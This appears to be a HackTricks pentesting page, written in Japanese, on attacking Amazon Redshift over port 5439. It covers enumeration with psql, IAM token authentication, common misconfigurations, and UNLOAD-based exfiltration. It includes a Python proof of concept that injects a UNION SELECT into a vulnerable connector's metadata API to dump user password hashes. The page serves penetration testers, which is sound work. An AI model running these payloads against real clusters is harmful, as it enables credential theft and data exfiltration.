5439 - Pentesting Redshift

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

このポートは Amazon Redshift(AWS が管理するデータウェアハウス)で使用されます。Redshift のワイヤプロトコルは少し修正された PostgreSQL プロトコルであるため、ほとんどの Postgres クライアントツール(psql、psycopg2、JDBC/ODBC)は動作しますが、認証と TLS の要件は異なります。

For more information check:

AWS - Redshift Enum - HackTricks Cloud

列挙 & 接続

  • デフォルトポート: 5439/TCP(変更可能)。Serverless workgroups もデフォルトで 5439 を使用します。
  • 公開エンドポイントのパターン: <clusterid>.<random>.<region>.redshift.amazonaws.com(パブリック)または .redshift.amazonaws.com.cn(中国)。Serverless: <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com
  • TLS: Redshift は TLS 1.2 以上と Perfect Forward Secrecy (PFS) 対応の暗号スイートを要求します。古いクライアントは接続に失敗する可能性があるため、最新の TLS を強制してください:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • パラメータグループ require_ssl はプレーンテキスト接続を許可するかを制御します。新しいクラスター/ワークグループは default.redshift-2.0 を使用し require_ssl=true になっているため、ダウングレード/mitm は困難です。

psql を使った簡易列挙

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

Errors differentiate bad password vs missing user → potential username enumeration during brute force.

テストすべき認証経路

  • Database password: マスター・ユーザー(多くは awsuser と名付けられる)や作成されたDBユーザーのパスワードを試す。
  • IAM auth tokens: 短時間のクレデンシャルを生成し、libpq/JDBC/ODBC 経由で sslmode=requireauthMech=IAM または plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider を使って接続する。盗まれた IAM クレデンシャル/ロールを、Redshift 用に相当する rds-db:connect スタイルの権限で悪用する。
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins: JDBC の plugin_name は SSO のためにローカルWebサーバを立ち上げることがあり、キャプチャされたループバックコールバックは SAML アサーションや一時クレデンシャルを leak する可能性がある。

よくある設定ミス(ネットワーク)

  • Cluster が PubliclyAccessible=true に設定され、SG が広く開いている(0.0.0.0/0)と、Postgres ライクな攻撃面が公開され、ブルートフォースや SQLi に利用される。
  • Default port 5439 とデフォルトの SG の組合せは容易に発見される(Shodan/Censys)。ポート変更はセキュリティの隠蔽に過ぎないが、hardening のチェックリストで見落とされることがある。
  • No enhanced VPC routing → COPY/UNLOAD がパブリックInternet経由で行われるため、攻撃者が S3 バケット/エンドポイントを支配していると exfil に悪用される。

Attack notes

  • ログインが成功すると、serverless では superuser が存在しないが、provisioned cluster では master user が幅広い権限を持ち、UDFs (Python) の作成、Spectrum への external schema、攻撃者管理の S3 からの COPY、データを exfil するための UNLOAD などが可能になる。
  • クラスターの parameter group で max_concurrency_scaling_clusters, require_ssl, enable_user_activity_logging を確認する — ロギングが無効だとステルス性が増す。
  • Serverless workgroups は TCP 経由で到達可能で、provisioned cluster と同じ SQL 攻撃面を持つ。
  • Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4, ODBC 2.1.5.0 は、getSchemas/getTables/getColumns において引用符で囲まれていないユーザー入力を含むメタデータクエリを構築する(CVE-2024-12744/5/6)。アプリが catalog や pattern 引数を攻撃者に制御させると、コネクタが使う DB ユーザー権限で任意の SQL を注入・実行できる。
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change: Python UDFs は 2026-06-30 に動作しなくなり、その後は Lambda UDFs のみ許可される。オフェンシブな影響としては、レガシーな provisioned cluster はまだ Python UDFs によるクラスター内コード実行(ファイルシステム/ネットワークなし)を提供する。Lambda UDFs はコードを Lambda に移し、そこでは IAM ロールが Internet/VPC エンドポイントへ到達できるため SSRF/ピボットに繋がる可能性があるが、クラスターのファイルシステムへ直接アクセスすることはできない。Python UDFs を有効にした古いクラスターを探せば、依然として RCE プリミティブを得られる場合がある。

最近のセキュリティ変更(攻撃への影響)

  • 新しいクラスター/スナップショットでは Public access disabled by default(2025-01-10 の変更)。レガシーなものは依然として public のままかもしれない。
  • Encryption at rest + enforced TLS by default により、盗聴/MITM が難しくなった。正当なクレデンシャルが必要か、VPC 経路への SSRF が必要になる。
  • Serverless VPCE rollout change (Jun 27, 2025): workgroup のエンドポイントは作成時に最大 3 AZ に作られる。発見ツールは到達可能な IP を見つけるため、各 AZ ごとに全ての workgroup VPCE の DNS 名を列挙すべきだ。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする